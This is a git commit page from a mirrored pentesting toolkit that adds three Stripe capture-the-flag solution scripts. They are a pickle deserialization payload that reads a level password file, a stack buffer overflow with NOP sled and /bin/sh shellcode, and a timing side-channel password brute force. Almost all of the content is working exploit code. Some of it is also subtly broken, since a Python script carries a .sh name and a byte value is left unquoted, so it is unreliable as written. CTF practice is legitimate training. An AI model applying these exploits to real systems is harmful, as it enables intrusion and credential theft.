Git-Mirrors/sec-pentesting-toolkit
1
0
Fork 0
mirror of https://github.com/autistic-symposium/sec-pentesting-toolkit.git synced 2025-04-28 03:26:08 -04:00
Code Issues Packages Projects Releases Wiki Activity

stripe ctf 1 scripts

Browse Source
This commit is contained in:
Mari Wahl 2014-11-29 22:16:26 -05:00
parent 47d32d7854
commit 37cb7d0d10
3 changed files with 25 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
CTFs_and_WarGames/STRIPE_1-2-3/1/pickle_attack.sh Normal file
View File

@ -0,0 +1,6 @@
import pickle, os
HOST = 'localhost:9020'
os.execve("/usr/bin/curl", ['', HOST, '-d', \
"bla; job: cos\nsystem\n(S'cat /home/level05/.password \
> /tmp/pass'\ntR."], {})

12
CTFs_and_WarGames/STRIPE_1-2-3/1/shellcode.py Normal file
View File

@ -0,0 +1,12 @@
import struct, subprocess
STACK = 0x0804857b
NOP = \x90
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
EXPLOIT = NOP * (1024 - len(SHELLCODE)) + SHELLCODE
stack_ptr = struct.pack("<I", STACK) * 500
array = "%s%s" % (EXPLOIT, stack_ptr)
while 1:
subprocess.call(["/levels/level04", array])

7
CTFs_and_WarGames/STRIPE_1-2-3/1/timming_attack.sh Normal file
View File

@ -0,0 +1,7 @@
#!/bin/bash
for c in {A..Z} {a..z} {0..9}; do
echo $c
head -c35 file & sleep 0.1
/levels/level06 /home/the-flag/.password "$c"A 2> file
done